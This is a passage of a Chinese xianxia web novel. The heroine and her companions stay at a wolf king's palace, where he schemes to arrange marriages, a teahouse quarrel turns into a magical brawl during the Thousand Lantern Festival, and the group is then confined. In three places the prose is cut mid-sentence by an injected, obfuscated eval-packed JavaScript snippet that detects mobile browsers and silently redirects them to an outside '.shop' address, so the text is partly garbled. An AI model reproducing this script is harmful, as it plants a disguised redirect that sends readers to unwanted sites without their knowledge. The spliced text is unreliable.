叶清漪略一思忖,面露难色。 狼王指着叶清漪,不疾不徐地开口:“本王观这位修士体内似有异族禁制。” 叶清漪眉头一皱,没有回应,只偷偷打量连喜的反应,看他似是并不惊讶,难不成他早就知道她体内有妖印。 “狼族的药库有无数奇珍异宝,附近的雪山上更是有世所罕见的珍惜药材,或许能助你解开体内的禁制。” 连喜闻言不禁思量起来。 “就算不能解开,也能对其反噬有所缓解,另外两位有疾的修士也可在狼王宫养伤,医官和药材管够!” 狼王倒是大气,其实狼王还挺年轻,面色红润,保养得宜,只是这些日子寻找狼女,忧虑多思,是以眉宇间有些疲色。 话都说到这份上了,再推脱也不合适,几人便答应了狼王的邀请,淳于容绒自是很高兴,她的二哥就不一定了,一路都没什么好脸色,对狼王的决定虽然遵从,但并不理解。 与狼王同行,终于不用再遮掩行踪了,此次狼王带了三大乘云辇,一乘是狼王的,一乘是公主专属的,云辇很大,公主拉着叶清漪和紫玥同乘,仍绰绰有余;还有一乘原本是二皇子淳于延武的,如今给了连喜、南宫和白胡子坐,白胡子本名司徒空,是个杂修方士,大约是不慎修了两种犯冲的术法,这才导致的形容衰败,这种情况很是罕见,叶清漪也是闻所未闻,也不知道王宫里的药材能不能治好他。 云辇日行千里,原本两日的路程,如今只用了一炷香时间便到了。 狼王宫坐落在月岩城以北,毗邻雪山,气候严寒,狼族穿着打扮于人族游牧民族很是相似,衣领袖口皆有绒毛,狼族少女多爱在头上编很多细小的麻花辫,配着他们特有的头饰,倒是别有一番风情,紫玥到了没两日就学会了狼族的编发,展现出极强的入乡随俗的能力。 到了王宫之后,狼王便派人领着他们各自安顿下来,又命人大摆宴席,要感谢他们护送公主有功。 后来叶清漪才从连喜口中得知,狼王一早就接到长公主的传讯,对他们的身份了如指掌,还要装作不认识的样子,也不知道是为何故! 在他们住下的第七日,这个谜团便揭开了,包括狼王为何执意要设宴款待他们,并让他们留宿王宫。 刚住下来,叶清漪就隐隐觉得有些不对,狼王宫很大,所以他们每人一间寝殿,寝殿陈设都华丽无比,吃穿用度一应俱全,大有不打算放他们离开的架势。 但既已进宫,他们也只得静观其变。 终于在第七日,狼王按捺不住,提出了他的请求。 从他们入住王宫,一连 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狼王也不恼,反而笑容满面:“过两日便是狼族一年一度的千灯节,到时街上张灯结彩,到了晚上还有灯会,甚是热闹,几位可等节之后再离开也不迟。” 这下紫玥更疑惑了,凑到叶清漪耳边:“这狼王是不是脑子有毛病,无论我怎么骂他都不生气,还笑嘻嘻的,还让我们留下来过什么节,怎么我看他笑那样,心里直发麻啊!” 紫玥做了个打寒噤的动作。 叶清漪面色越发凝重,她这几日忙着照顾南宫和司徒空的伤,无暇顾及其他,毕竟他二人和她并非同路人,猎妖师身份又很棘手,若是不小心传出去,那他们就别想安全离开妖界了。 司徒空的腿疾好治,虽然耽搁了些时日,不过总归是皮外伤,王宫的珍贵药材用下去,没两日就好了,至于此外的其他症状,宫中医官都束手无策,叶清漪他们也没见过这个情况,只能用各种灵丹妙药挨个试试,只是暂时还未起效。 南宫良雪的病则更是棘手,医官也只开了几副药让他吃着,勉强帮他固本培元,不被妖气所伤,但身上的弱症却无法找到症结,只说让他先吃完一帖药再说。 叶清漪有心想替南宫治好,多日钻研医术,企图找到合适的药方,其他事情便没有在意,此番席间听狼王如此说,忽的意识到不对劲,此时狼王又举杯邀请众人同饮,叶清漪借着举杯的动作视线在殿中扫过,才发现他们如今的座次甚是有意思。 她和紫玥、连喜、狼女四人分坐两侧,紫玥在她左手边,连喜在她对面,狼女在连喜上首,南宫和司徒则都在下首最末,而她的上首,则是狼族二皇子淳于延武,叶清漪放下酒杯时假装无意地扫了一眼,狼女面若春风,眼含桃花,淳于延武面色阴沉,时不时会瞪连喜两眼,每次听连喜说话,他总会轻声嗤笑,一副看不惯的样子。 见叶清漪看着他,他先是微微一怔,接着当着叶清漪的面大声地哼了一声,并把脸转了过去。 叶清漪一头雾水。 111. 千灯同游 叶清漪前世没来过妖族,不知道什么千灯节,但从淳于家这几人的反应也能猜个大概。 只是她还弄不清楚狼王的真正目的。 对于连喜来说,他跟狼王多接触肯定是有好处的,这些日子狼王跟连喜也聊得很投机,连喜虽然没表明身份,但狼王估计猜出个大概了,至少知道连喜不是寻常妖族。 很快就到了千灯节。 好消息是这几日终于没有大鱼大肉了,坏消息是依然不知何时可以离开。叶清漪听着紫玥的随口抱怨,神色间却没有松快半分。她愁云惨雾地看向另一侧——淳于延武一脸气愤地跟在她们身边。 “有的吃就不错了,还挑上了!” “喂,你这人怎么说话的,好歹我们从赏妖会上把你妹妹救了下来还一路护送到家,你不感恩也就罢了,这什么态度!” 听了紫玥的话,淳于延武脸上青一阵白一阵的,但还是梗着脖子坚持:“我平时说话就这样!” “你们狼王也不知道怎么想的,为何要派你来保护我们啊!你这修为,这法器,也不知道是谁保护谁!” “我这可是万弓之王引月弓,你懂什么!” “你这是弓王?那你父王手里的又是什么?”紫玥刻意冲他挑眉,语气挑衅。 “我……” “且不说你这法器厉不厉害,这弓箭怎与我这斧子相比,到时若遭遇伏击,近战起来你一点忙也帮不上。” “你……!” 叶清漪似是并未用心在听,注意力一直在前头几人身上,任由他二人你来我往地斗嘴。 狼王带着狼女和连喜三人走在前排,大约为了避嫌还拉上了南宫良雪,司徒空不感兴趣,没跟来。 狼王大概是将淳于延武的话都听进去了,在前面扭头斥责:“延武,怎么跟贵客这么说话,再有,也不能厚此薄彼,怎么只顾跟紫姑娘聊天,没事也多跟叶小姐聊聊,介绍一下千灯节的风俗。” 狼王明显话里有话。 紫玥听得莫名其妙:“怎么你就是叶小姐?到我这就成了紫姑娘了?” 连喜方才听到狼王的话,微微侧首看了她一眼,但视线还没对上,连喜显然又被狼王拉着说话了。 叶清漪注意力全然在他处,紫玥一番话说完也没得到反馈,倒是淳于延武刚被斥责,才打蔫了片刻,听到紫玥这话,又来了精神,和她吵到一处。 按理狼王出行,本该乘銮驾,前呼后拥,声势浩大才对,但妖族的规矩似乎与人族不同,狼王带着公主皇子走在街上,众人都很习以为常,大约狼王只是一介妖王,千灯节这种场合,只有妖君才有资格坐銮驾驶过主街吧! 不过妖君至今还没回来,便不能在千灯节上与民同乐了。 狼王见淳于延武如今是遇到对手了,吵吵闹闹的,一点皇子的架子都没有,简直气得吐血,不过看看容绒和连喜,又甚是满意,便提醒容绒:“还是你来跟几位贵客介绍千灯节的习俗吧!” 容绒跟他们相处了这些时日,回来后又刻意地学了几日人族语,现在说话已经比之前流畅多了,狼王这么说也是想让她锻炼一下用人族语沟通,不过她介绍起来还是只用一些简单的句式,还是能感觉到有些不熟练。 “千灯节是我们狼族的传统节日,每当月亮高悬在狼族西边那块巨型岩石的正上空时,就会举办一次,月亮是狼族很重要的图腾,所以千灯节又叫月神节,月神节上点燃一千盏天灯,向月神娘娘祈福,”狼女说到这,看了一眼狼王,像是不想再介绍了,见狼王没有同意,她只好又不情不愿地往下说,“千灯节还有一个习俗,这天适龄男女会走到街上,让月神娘娘替他们指引姻缘,许配良人,被月神娘娘祝福过的姻缘,便会幸福和顺,子嗣绵延,儿孙满堂……” 狼女越往下说,其他人的脸色越难看,狼王赶紧制止了:“行了行了!差不多可以了。” 淳于延武也听不下去了:“他们几个不过是在王宫游玩几日,跟他们说这些做什么。” 结果遭遇了狼王的眼神威胁,又悻悻地闭嘴了。 “哈哈哈!”狼王又爆发爽朗的笑声,紫玥和叶清漪都被吓了一跳,下意识后仰。 紫玥抚着心口:“吓我一跳,这狼王什么毛病!一把年纪了,还一惊一乍的!” 叶清漪不禁失笑:“能和长公主、云宸交好,狼王年轻时应该也是个有趣的人!” 紫玥双手环于胸前:“年轻时或许是个有趣又正派的人,老了可就不一定了。” 叶清漪闻言看向紫玥,紫玥正盯着狼王,脸上是看透一切的表情,嘴角带着一丝鄙夷的笑。 叶清漪也随着她的视线望去,狼王仍在谈笑风生,侃侃而谈。一个上位者,又身为妖王这么多年,怎么会像看上去那么简单,当初为了职责可以与年少好友分开,或此生不复见,或刀剑相向,无论是那种,他都已经做出了选择。 欲买桂花同载酒,终不似,少年游! 就算再见又能如何?那些单纯热烈的年少时光,永远也不会回来了,再见也只会徒增伤感,教人看清岁月残酷的真相罢了。 叶清漪深吸一口气,又重重吐出,想藉此将心头那一抹郁气吐出。 岁月的残酷,她比任何人都明白。 在魔界备受反噬的那些无眠之夜,她也曾无数次想回到年少之时,无忧无虑,对这个世界心怀向往,和仙门、魔族,都没有关系。或许也因为有此执念,才让她在堕魔之后重回当年了吧! 叶清漪摇摇头,停下无休无止的感慨。 恰听到狼王在说让他们自由行动,他有要事处理,就不跟他们一起了。 说完就要离开,转身之时,还狠狠瞪了淳于延武一眼,淳于延武深深低着头,不敢和狼王对视。 狼王恨铁不成钢地摇摇头离开了,终是没再说什么。 淳于延武暗暗松了口气,抬头见紫玥盯着他,又故作凶狠:“看什么看!” 毫无意外地遭到了紫玥的白眼。 “走吧!我们到前面去看看,那边好热闹。”紫玥显然已经被其他事情吸引了,一手挽着叶清漪,一手拍了拍前面的狼女,三个人欢天喜地地过去了。 留下几个大男人,你看看我,我看看你,视线交汇了一瞬间,几人都是一个激灵,又立马弹了回来,各自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115297|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着不同方位的灯笼仔细研究。 “这会儿还是白天,要到晚上才会更热闹呢!”狼女走在中间,挽着紫玥和叶清漪的胳膊,一路蹦蹦跳跳地进了茶楼,路过门槛的时候,还借着两人的力,双脚悬空荡了个秋千。 叶清漪满脸慈爱,紫玥更是丝毫没有在意,像是早就习惯一般。 三人的相处氛围很融洽舒适,和这一路来时的状态差不多。 几人本想在一楼坐坐,掌柜的已经第一时间迎了上来,说是楼上的包厢都空着,她们可挑个最好的。 紫玥扫了一眼空空荡荡的大堂,很是奇怪:“今天不是千灯节吗?你这怎么一个人都没有?” 掌柜的手上还拘着礼,赔着笑:“实不相瞒,今日我这茶楼已经被一位公子包了,楼上这间厢房,也是他特意给姑娘们留的。” 三人不由得皱起了眉。 紫玥看向狼女:“会不会是连喜?” 狼女看向叶清漪:“会不会是我哥?” 叶清漪摇摇头,她也不清楚。 紫玥问掌柜:“谁?他怎么知道我们会来?” 掌柜的笑笑,没有再多说。 狼女看向紫玥:“会不会是我父王?” 紫玥一摆手:“你父王那年纪,也不算什么公子了吧!” 狼女点头:“也是。” 几人猜来猜去也没猜明白。 叶清漪:“那……我们还去吗?” 狼女看向紫玥。 紫玥:“去啊!难不成我们还怕了谁了!” 叶清漪没有反驳。 狼女想了想,问掌柜:“那人用了多少灵石?” 掌柜的支支吾吾,很是为难。 狼女直接从怀里掏出一颗鸡蛋大小的夜明珠,丢给掌柜:“我出钱重新包下这里,那人要是来了,你把他的钱退了,让他重新找别处去!” 说完也不管掌柜怎么回话,拉着叶清漪和紫玥就上楼了。 二楼包厢不多,她们挑了个位置最好的,临窗而坐,刚好能将街市上的风景尽收眼底,屋内很安静,街市上又很热闹,倒是别有一番风味。 “到了晚上,这里便是看花灯最好的位置,不远处就是护城河,到时候河上会有游船,晚上我们还可以坐船游湖。”狼女手舞足蹈地跟她们介绍着,显然比刚才受狼王之命介绍千灯节时很是不同,表达明显也流畅了很多。 叶清漪嗑着瓜子,盯了她一会儿,紫玥坐在叶清漪边上,往茶壶里添了些茶叶,又拎起冒着热气的长耳陶壶,里面是刚烧开的热水,紫玥娴熟地将热水冲入茶壶,茶叶便在这水流的冲击下浸润,翻滚,复又尽数沉底。 紫玥沿着壶口重又将盖子合上,焖泡片刻。 叶清漪将视线从茶壶上收回,看向狼女,嘴里还嚼着瓜子。 “你刚才是不是故意那么说的?”不等叶清漪开口,紫玥就已说出她心中所想。 狼女一怔,抬眼望去,紫玥正将陶壶放回炉子上,眼皮也没抬,眉宇间却是笃定的神情。 狼女刚塞了颗瓜子进嘴,听了这话,不由得狡黠一笑:“哎呀,被看出来啦!” 112. 围炉煮茶 紫玥了然一笑,手上动作翻飞,温杯洗茶,将冲过的茶杯递给她们闻香,接着巡城、点兵,恰到好处地倒满了三杯茶,端了一杯给狼女,又端了一杯搁在叶清漪面前。掌柜的送了不少果脯蜜饯,干货糕点,外加一大盘蜜橘,叶清漪拿了两只放在炉子上烤着,紫玥和容绒也放上了自己想吃的东西,很快炉子上就摆得满满当当,屋子里弥漫着淡淡的炭火气,还混着一点橘皮的香气。 月岩城气候严寒,七八月份就已如冬日一般,呵气成雾。但正是这些,才组成了生动的岁月,生命的长河或许并不在长度,而在其中的深度,这一世她经历了很多前世没经历过的事情,也让她在这世间多了很多羁绊。 叶清漪望着烤橘子出神,内心少有地平静。 “其实吧,你们应该能看得出我父王想干什么吧!”狼女忽然说起这个。 紫玥喝了口茶,急急问:“什么?” 狼女疑惑地看向坐在对面的二人:“你们都没看出来吗?” 紫玥真诚摇头。 “好吧,”狼女扔掉手里的瓜子皮,调整了坐姿,一副要长谈的架势,“那我就跟你们说说,我父王这人的脑子里,到底在想什么!” “你有没有发现,他在撮合我们?”狼女凑近几分,显得神秘兮兮的。 紫玥瞪大双眼,急忙后退:“撮合我们?” 狼女一跺脚:“不是我和你,是你我他他。” 狼女戳着炉子上的橘子和干果讲解。 紫玥茫然回过头看向叶清漪。 狼女也看过来。 叶清漪闭眼点点头,表示早就看出来了。 紫玥:“这么明显吗?我怎么什么都看不出来?我寻思狼王想扣押我们,跟魔族开战呢!” 叶清漪:“妖族如今还没有跟魔族开战的实力,何况他们也不能单方面撕毁条约,否则便是直接站在了其他三界的对立面。” “我们狼族虽为妖界最大的种族,但也不是那么好过,妖族常年中立,各界首脑都想从狼族入手,拉拢妖君,妖君对我父王日益忌惮,狼族处境越发艰难。” 紫玥很是惊讶,反倒叶清漪显得很冷静,这些她都猜到了个大概,紫玥只当叶清漪不在乎这些,也没放在心上。 “那这跟你父王乱点鸳鸯谱有什么关系?”紫玥直接说。 容绒也不介意,毕竟这也是事实:“狼族多半是同族通婚,这就导致我们和其他种族之间没有多深的羁绊,父王大概是想让我们跟外族通婚,绵延血脉吧!这样对我们同族也是多了一层庇佑。” 紫玥都听傻眼了:“所以你父王是想撮合你跟连喜?还想撮合我跟你二哥?” 容绒点头,又摇头。 紫玥急了:“到底是还是不是?” “我跟连喜,我哥,和叶姐姐。”容绒在她们之间比划着。 “她?她可是仙修啊!”紫玥由衷怀疑自己听错了。 “我父王觉得妖族和仙徒双修,可以大大提升功力。” “这也行?” 叶清漪一副意料之中的样子:“妖力与仙力没有那么强的壁垒,妖族甚至可以通过修炼成仙,仙修对妖族只会助益,不会反噬。” 紫玥扯了扯嘴角:“你父王这算盘打得真响!” 容绒耸耸肩:“他就这样,遇到跟狼族存亡有关的事情,就成了一根筋,根本不管别人愿不愿意。” “那你跟连喜呢?也是为了这个?”紫玥暗暗向叶清漪递了个眼神,意思是提醒她狼王或许知道连喜的身份。 “那倒不是,”狼女无所谓地一摊手,“他只是看上了连喜,一心想给我择个夫婿。” 叶清漪夹了一只烤蜜橘递过来:“那你喜欢他吗?” 狼女小心地吹凉,垂着眸子,看不清她眼底的情绪:“喜不喜欢有什么要紧,只要父王喜欢,便是我再不喜欢也没用,何况父王待我那么好,我也不忍教他伤心。反正不管嫁给谁,我都能待在王宫陪着父王,不过是多个人一起住罢了,大不了我再多纳几个新宠,也是一样。” 紫玥和叶清漪默默交换了眼神,安慰的话到了嘴边,硬是说不出口…… “这下我开始心疼连喜了。”紫玥投来同情的目光。 叶清漪深表赞同。 “可是你还这么小,现在就谈婚配为时尚早吧!”叶清漪看容绒这外形,怎么看怎么跟适婚女子扯不上边。 容绒这才打量了一番自己,而后大气挥手:“嗐,我这是去人间法力受损,加上又是刚化形没两年,所以个头修得稍微年轻些,实则我已经……” 容绒说到这深吸了一口气,叶清漪和紫玥也不由自主地跟着吸气—— “十六岁了!!!” “……”叶清漪和紫玥顿时泄了气。 “那也……不大啊!”紫玥悻悻地扯了扯嘴角。 “狼族结亲不在乎年龄什么的,有合适的就早些定下来,至于成亲,何时想办了再办便是。”容绒说着捡了颗蜜饯吃,之后便不再多言,显然对这个话题不甚在意。 其他二人也不好再问,叶清漪端起茶杯,随意扫了眼窗外,恰好看到连喜几人正往这边来,二楼临窗,视野开阔,不仅楼上看楼下清楚,从街上也能轻易看到楼上的人。 视线相接之时,叶清漪心头一跳,下一刻又垂下眼睑,继续喝茶。 这时紫玥也看见了,立刻伸手打招呼。 没多会,扣门声响起,叶清漪仍旧喝着茶,不为所动,容绒则是凑近低声问她俩:“谁啊?” “估计是你哥。”紫玥见两人都没有阻拦之意,高声喊了“进”,木门应声而开,连喜当先,南宫、淳于二人并列其后,皆身量颀长,气宇轩扬,姿容胜雪,细看之下又有所不同,因是节庆出游,每个人皆穿了锦绣华服,连喜也换下了日常穿的玄衣,一身流云窄袖莲花暗纹长袍飒爽俊逸,长发半束,用一支简单的白玉簪子固定,配以同色云纹厚底长靴,更显气度不凡,比素日随意之姿多了几分庄重,叶清漪的视线则落在他腰间那个竹叶纹样的香囊上,不由得眉心一跳,只作不觉,默默转了回来。 其他两位分别穿了月白色素锦窄袖圆领袍和殷红色暗纹番西花缂丝对襟袄,几人进来时窗外的冷风倒灌进屋,炉火倏地一斜,橄榄炭上显现点点火光,复又化为归于平静,依旧覆着一层白灰。 狼女歪着头热情招呼:“阿兄,连大哥,南宫哥哥,快来坐!” 连喜进来后径 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128888|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直在叶清漪对面的空位坐下,叶清漪垂眸喝茶,只看到那暮云灰麻布香囊晃进氤氲的雾气里,抬眼望去,正撞进一双略带侵略的双眼,不动声色地审视着她。这些时日连喜被狼王牵绊,叶清漪忙着照料病患,二人甚少独处,也没正经说过几句话,连喜乍然靠近,她还有些不自在,便收了支在桌上的手,往后退了一点,别过脸看其他人,尽量不跟连喜对上视线。 这一举动被连喜看在眼里,眼神不由得更冷了。 南宫和淳于则在最外面的两个座位坐下,淳于坐在容绒边上,一坐下就跟对面的紫玥互相瞪了一眼。桌上的茶具本就配了六只青釉束口圈足杯,淳于延武直接上手拿了一个,盯着紫玥。 紫玥睨他一眼,没好气道:“干嘛?” 淳于延武用眼神示意边上的紫砂壶:“给我倒一杯喝喝。” “自己没长手啊!” “我这坐的远,拿不到啊!”淳于延武故作为难。 “拿不到就别喝!” 茶壶离叶清漪更近,她也不好熟视无睹,便作势要去拿:“我来吧!” 不料淳于延武却拒绝了,还将杯子拿开了:“诶,不用!我可不敢喝你的茶。” 叶清漪刚拿上茶壶,闻言只好尴尬地停住。 这下紫玥不乐意,一把按住紫砂壶:“你什么意思,给你倒茶是看得起你!清漪,你不用理他,他还真当自己是来喝茶的,可笑!” 岂料淳于延武不但没生气,还更来劲了:“那我今天就偏要喝到这茶!” 紫玥自然护着那茶壶:“你想都别想!” 淳于延武眼底闪过一丝狡黠,下一瞬猛地站了起来,劈手要直接夺茶壶。 叶清漪一眼看出淳于延武的意图,在他的手落下之前,松开了茶壶把手。 与此同时,淳于延武盯着紫玥的眼,隔着紫玥的手死死按住了茶壶。 “你!你松手!”紫玥全力挣脱起来。 叶清漪伸手按上鬓角,偷偷给连喜递眼神。 连喜一直盯着叶清漪,不料她会突然看向自己,眼底的阴郁之色不及收敛,好在叶清漪似乎没有看到,仍旧拼命给他使眼色。连喜顿时将其他情绪抛到脑后,眼神询问叶清漪,却一时难以领会。 那边的两人还在不分上下地较劲。 叶清漪无奈,遂放弃向连喜求助,转而向南宫示意。 南宫早就看出叶清漪的意图,她刚递过来一个眼神,南宫就领会了,下场解围:“二位占着茶壶,这让我们几个怎么添茶啊?” 连喜脸色更难看了。 听了南宫的话,淳于延武有一瞬犹豫,手上力道松了一点,紫玥见状连忙将手抽了出来,一个劲儿地揉着,叶清漪瞥见紫玥的手背都被压红了,这两人力道都不小啊!茶壶没碎也是奇迹。只是这两人到底是来真的还是逗闷子?她还真有些看不明白。 淳于延武如愿以偿至地给自己倒了杯茶,喝完长叹一声:“好茶!” 紫玥本就生气,这下更是火上浇油,直接气得七窍生烟,胸口剧烈起伏着,眼眶红得吓人。她反手就召出玄冥斧,直呼其名:“淳于延武,我要砍了你!!!” 叶清漪看明白了:这下是来真的了! 113. 茶楼斗法 紫玥一脚直直踹上淳于延武面门,速度之快,叶清漪只来得及看到一个残影。 淳于延武反应迅速,平地后移一个身法,躲开这一脚:“你这人怎么回事,不知道打人不打脸吗?” “命马上都要没了,还要脸干嘛?” 淳于延武召出引月弓和银光箭:“简直嚣张至极!那我就先将你扎成刺猬,看你还能不能口出狂言!” 其余几人见事态严重了,自知不能再袖手旁观,纷纷起身阻拦——叶清漪扑向紫玥,半拉半挡地将她抱住;连喜和南宫也飞身离席,一人一边,阻止淳于延武搭弓拉箭,场面一时混乱不堪。 叶清漪不敢太用力,怕误伤了紫玥,紫玥更是不愿陷入被动,施法挣脱开,瞬移至包厢一侧上空,居高临下挥动玄冥斧,一道道紫色光球火花带闪电,接连往淳于延武头上劈去。 淳于延武一惊,腾空而起,往后退的同时侧身转了一圈,顺势挣开左右,躲开最先袭来的电球,站稳后直接连发数箭,箭无虚发,尽数击中紧随其后的一连串电球,最后那支箭停在弓弦上,直指紫玥眉心,蓄势待发。 紫玥也停了下来,二人短暂对峙,而后同时蓄力攻击,一道紫色刀刃虚影迎上冒着火星的银光箭,两道灵力在半空相撞,迸发出极强的术波,从茶楼厢房中央荡开一圈,往四周无限延长,直至消散在天际。 光芒淡去后,茶楼之上但见一紫一银两道屏障,呈不同方向的两个半球形,势均力敌,各不相让,将包厢割裂为不同颜色的两半,宛如身在截然不同的两个空间。 下一刻,三道不同颜色的光柱冲向屏障交界,颜色依次是金、赤、白,一时间,整个二楼五光十色的,比街市上的花灯还要好看些。 所有人的法力打作一团,也看不清谁帮谁,唯一没参与的容绒不知何时已经站在角落,一边往嘴里塞着烤橘子一边喊:“你们快别打了!” 掌柜的恰好赶来看到这一幕,如遭雷劈,哭喊道:“这包厢太小,不够各位施展的,劳烦高抬贵手,去外面打吧!” 没人听。 须臾,街上游玩的行人忽然听到砰的一声,有人懵懵懂懂抬头:“这是提前放烟花了吗?” 话音刚落,数道彩光先后自从窗口飞出,在街市上空划出一道整齐划一的弧光。 有小孩抬手指天:“妈妈你看,彩虹!” 那几道彩色术光越过街市,翻过屋顶,一路绵延,最终消失在刻着月岩城三个大字的城楼上空。 有士兵慌慌张张通知狼王,说公主和二皇子跟几人修士在茶楼干起来了,这会儿已经打出城了! 正在酒楼悠闲听戏的狼王:啊??? 后来,一袭锦衣的少年站在茶楼门口,看着满目废墟,伫立良久,掌柜的在他边上赔笑:“公子,实在抱歉,小店破损严重,怕是无法招待您了,这包场的灵石我还是退您吧!” 少年转过头来,露出一张好看的侧脸,容颜绝艳,宛如山巅最圣洁的那抹残雪。 至于造成这一切的罪魁祸首们,早就不知打到哪里去了。 等狼王派人在城郊十几里外的枯林找到他们的时候,几个人已经只剩坐在原地大喘气的力气了。 事后叶清漪缓过劲来,想明白那两人估计想打一架很久了,就是找个借口。 连喜觉得叶清漪说的挺有道理的。 由于自家儿子和他们发生了冲突,狼王少不得要设宴赔罪,席间还要淳于延武跟紫玥道歉,淳于延武却破天荒地违逆起狼王,还控诉紫玥的种种不是,说她不仅先动手,还把他的引月弓损坏了;紫玥一拍桌子,毫不相让,欲同样控诉淳于延武的种种罪行,却一时没找到合适的理由,最后她干脆故作蛮横,“想打你就打你,还需要理由吗?”结果两人差点又打起来。 最后以淳于延武被杖责二十,外加被关三日禁闭结束。 其他人虽然没被责罚,但也都多少受了些训诫。 “本王当你们是客人,敬重有加,但也不是毫无底线的,说句不讲情面的话,月岩城毕竟是本王的领地,各位少不得还是要遵守本王的规矩的。”狼王少见地拿出一族之长的架势,加重了语气,“这几日还请各位在王宫好生休整,待此次风波平息,再做安排吧!” 赔罪也赔了,该斥责的也点到为止地告诫了,可谓是恩威并施。不过叶清漪总觉得狼王之所以生气,并不完全是因为这件事,更多像是因为他的计划被打乱而恼怒。 之后一连几日,叶清漪都没见到连喜,想到容绒说的,狼王想留连喜当驸马一事,叶清漪不禁隐隐担忧。 之前混战时她不慎被淳于延武误伤,真气受损,导致不慎染上咳疾。妖族本就不利于她养伤,又忧思多虑,纵然每日调息,依旧恢复缓慢,拖拖拉拉了半个月都没有好转的迹象。 好在还有紫玥时常来南偏殿跟她作伴,让她仿佛回到前世住在万魔殿的日子。 “怎么总不见好?这王宫的医官都是草包吗?”紫玥一边替她削梨一边痛骂医官。 “王宫的药都是给狼族用的,不太符合我的体质,与他们的医术高低无关。”叶清漪喝了口水润喉,因为咳疾未愈,她寝殿的茶水都换成白水了,“对了,这几日你见到连喜了吗?” “没有,我俩住的近,他们几个住在王宫另一侧,不只连喜,他们几人我几乎都没怎么见到。怎么?可是有何不妥吗?” 叶清漪垂眸,搁下茶杯:“那淳于延武如今怎样?” “他还能怎样,早放出来了!到底是自己儿子,狼王哪里舍得狠狠处罚,杖责那几下,也不过是做做样子给我们看罢了。”提到他紫玥脸色瞬间就变了,只是今日这神情稍显复杂,不满中还带了点心虚,叶清漪心里记挂着连喜,也没在意。 “既如此,那也该放我们走了才是啊!” “你说到点子上了!”紫玥眼神忽然亮了起来,将削好的梨递给她,“前两日我闲来无事随处走动,你猜我发现了什么?这王宫各处角落都摆了石头,位置隐蔽,摆放讲究,只怕不是什么好事!” “你是说……狼王在暗地布阵?” 紫玥深深点头。 “可狼王不是让我们待在各自住处,我试了一下南偏殿前后两道门都设有结界。你怎么能各处走动?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137237|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫玥思索片刻:“说来也奇怪,我那儿没有结界,包括你这的结界对我也不起作用。说来你别不信,我有种直觉,估计这王宫没有哪里是我不能去的!” “这倒奇了!”细细想来,狼王的确没斥责过紫玥一字半句,也从不为难她,甚至任由紫玥出言不逊,难道是因为紫玥的紫蝠妖身份? 只是如今弄清连喜的下落才是要紧。 “另外两位呢?” 紫玥随口答:“那个叫南宫的倒没什么,之前一直抱恙,这几日被迫静养,反倒比之前好了不少,另一个老头确实好久没露面了,按理说他没有参与灯会打斗,不应该被罚才对啊!” “他虽然没去灯会,但到底是和我们一起的,狼王肯定也不会任由他乱走的。” “会不会他先走了,没跟我们说?” 叶清漪沉吟片刻,否认了紫玥的猜测:“不会,他在此人生地不熟,又是修士,要想离开月岩城,必须经过狼王的同意,若他禀明狼王,狼王不可能不告知我们,私下放行的。” “容绒呢?她也被关了?” “没有,她好不容易回来,狼王估计舍不得罚她吧!对啊!怎么这几天也没见到她人呢?该不会真把连喜抓起来成亲了吧?”紫玥面露担忧。 叶清漪也有些慌了神,但还是很快否定:“应该不会,连喜不可能答应的。” “你就这么肯定?” “我肯定。”叶清漪自然能相信连喜,她甚至没动过怀疑的念头,她怕的是连喜和狼王因此发生冲突,狼王逼亲不成,记恨在心,再次跟魔族势不两立,一切又回到和前世一样的局面。 不知内情的紫玥对她竖起大拇指:“你俩情比金坚,肝胆相照,真是勠力同心啊!” 正在分析局势的叶清漪闻言看了紫玥一眼:怎么感觉哪里怪怪的? 这时殿外响起“笃笃——”几声,有人在外扣门。 紫玥立马坐直身子:“是连喜?” 叶清漪也神情一动,还是谨慎道:“不确定。” 紫玥高声询问:“谁啊!” “是我。”门外应了一声。 紫玥和叶清漪同时泄了气,紫玥有气无力地比了个手势:“进来吧!” 来者是南宫良雪。 “你伤好了?怎么想起过来了?”叶清漪问。 “我本就无大碍,之前身子也没好到哪儿去,”南宫扫了二人一眼,“发生何事了,为何无精打采的?” 紫玥耷拉着脑袋:“没什么。” 叶清漪稍微好些,还记得问他:“你来有什么事吗?” “我来给你送点丹药。” “丹药?”叶清漪这才注意到,南宫良雪手里拿了个白釉划萱草纹圆盒。 “你自己炼的吗?”紫玥问。 “我……”南宫低下头,羞赧一笑,没立即往下说。 这时门外响起一阵脚步声。 “又有人来了?”紫玥探着身子看向门口,忽然眼前一个影子飘了过去,一扭头,对面已经没人了——南宫未及开口,叶清漪便已起身,急匆匆往殿外去了。 114. 故梦初逢 